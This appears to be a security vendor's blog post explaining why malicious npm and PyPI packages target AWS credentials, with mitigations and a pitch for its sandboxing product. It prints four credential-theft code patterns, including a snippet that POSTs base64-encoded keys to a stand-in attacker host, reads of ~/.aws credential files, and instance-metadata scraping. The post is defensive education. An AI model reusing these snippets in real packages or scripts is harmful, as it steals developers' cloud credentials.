Skip to content
← Blog

Technical explainer

Malicious packages targeting AWS credentials

3 min read

If you ran an analysis of the most common environment variable names accessed by malicious npm and PyPI packages over the last three years, the results would not be surprising:

  1. AWS_ACCESS_KEY_ID
  2. AWS_SECRET_ACCESS_KEY
  3. AWS_SESSION_TOKEN
  4. AWS_DEFAULT_REGION

AWS credentials appear in more malicious packages than any other secret type. This is not coincidence.

Why AWS credentials are the primary target

They're universally present in developer environments. Cloud infrastructure is the default for modern software development. The majority of professional developers working on web applications, data pipelines, ML projects, or DevOps tooling have AWS credentials configured on their development machines and in their CI environments.

They have immediate financial value. Unlike GitHub tokens (which require navigation of rate limits, code access permissions, and downstream exploitation to monetize) or database credentials (which require network access to the database), AWS access keys can be used immediately to spin up compute resources. The most common post-exfiltration use of stolen AWS credentials is cryptocurrency mining — run a GPU fleet for 24 hours before the account owner notices the bill spike.

They're stored in predictable places. AWS credentials are typically in ~/.aws/credentials, in AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY environment variables, or in instance metadata service responses. Malicious packages know exactly where to look.

They often have broad permissions. Developers frequently use credentials with AdministratorAccess or PowerUserAccess — permissions that are convenient for development but devastating if stolen.

The credential access patterns

Analysis of malicious packages that targeted AWS credentials between 2022 and 2025 shows four main access patterns:

Pattern 1: Direct environment variable read

import os
import base64
import requests

aws_key = os.environ.get('AWS_ACCESS_KEY_ID', '')
aws_secret = os.environ.get('AWS_SECRET_ACCESS_KEY', '')
if aws_key:
    requests.post('https://exfil.attacker.example/',
        data=base64.b64encode(f"{aws_key}:{aws_secret}".encode()))

Simple and common. Checks for the variable directly, exfiltrates if found.

Pattern 2: File read from ~/.aws/credentials

import os
cred_file = os.path.expanduser('~/.aws/credentials')
if os.path.exists(cred_file):
    with open(cred_file) as f:
        # send file contents to exfiltration endpoint

Catches credentials that are stored in the credentials file but not exported to the environment.

Pattern 3: Instance metadata service (IMDS) scraping

import urllib.request
try:
    # EC2 instance metadata — provides IAM role credentials
    response = urllib.request.urlopen(
        'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
        timeout=1
    )
    # ... parse and exfiltrate the role name and credentials
except:
    pass

This pattern specifically targets EC2 instances and Lambda functions. If the malicious package runs in a cloud environment with an IAM role attached, this retrieves the role's temporary credentials without needing any environment variables.

Pattern 4: Profile enumeration

import configparser, os
cfg = configparser.ConfigParser()
cfg.read(os.path.expanduser('~/.aws/config'))
cfg.read(os.path.expanduser('~/.aws/credentials'))
# Sends all profiles, not just the default

Attackers who want maximum value enumerate all configured AWS profiles, not just the default one. A developer with multiple AWS accounts configured may have production credentials in a named profile even if the default profile is a development account.

Protecting your AWS credentials in development environments

Use short-lived credentials wherever possible. The most effective mitigation is using credentials that expire quickly. AWS IAM Identity Center (formerly AWS SSO) provides short-lived temporary credentials that are rotated automatically:

aws sso login --profile my-profile
# Credentials valid for 8 hours, then automatically expire

Use named profiles, not environment variables. If your credentials are in a named profile rather than exported as environment variables, Pattern 1 (env var read) doesn't work. Patterns 2 and 4 still work, but they're harder to exploit from a postinstall script that runs in your project directory.

Limit credential permissions. Use an IAM policy that grants only the specific permissions needed for your development work. The principle of least privilege applies here: if a malicious package exfiltrates your credentials, the damage is limited to what those credentials can do.

Monitor your AWS account. Enable CloudTrail and set up billing alerts. An alert when your AWS bill exceeds a threshold is the most common way developers first notice stolen credential abuse.

Use Veln. Veln pairs static install-script pattern analysis with an OS-level sandbox (Linux Landlock, macOS sandbox-exec, Windows Job Object). The static signals flag suspicious patterns at the gate before the package downloads; the sandbox confines the install-script process tree at the kernel layer if the static signals miss. Patterns 1–4 above are constrained:

  • Pattern 1 (env var read + POST): flagged at the gate as install-script reading env + posting to an external endpoint; the sandbox refuses outbound traffic beyond the local gate
  • Pattern 2 (file read): the sandbox refuses filesystem reads outside the project folder
  • Pattern 3 (IMDS): outbound traffic to 169.254.169.254 from install-script context is refused by the sandbox
  • Pattern 4 (profile enumeration): reads of ~/.aws/credentials and ~/.aws/config are outside the project folder and refused

The exact signal codes and refusals appear in the gate log for each blocked install.


AWS credentials are the most commonly targeted secret in supply chain attacks. Veln's install-script pattern analysis plus OS sandbox block every access pattern at the gate or contain it at the kernel layer.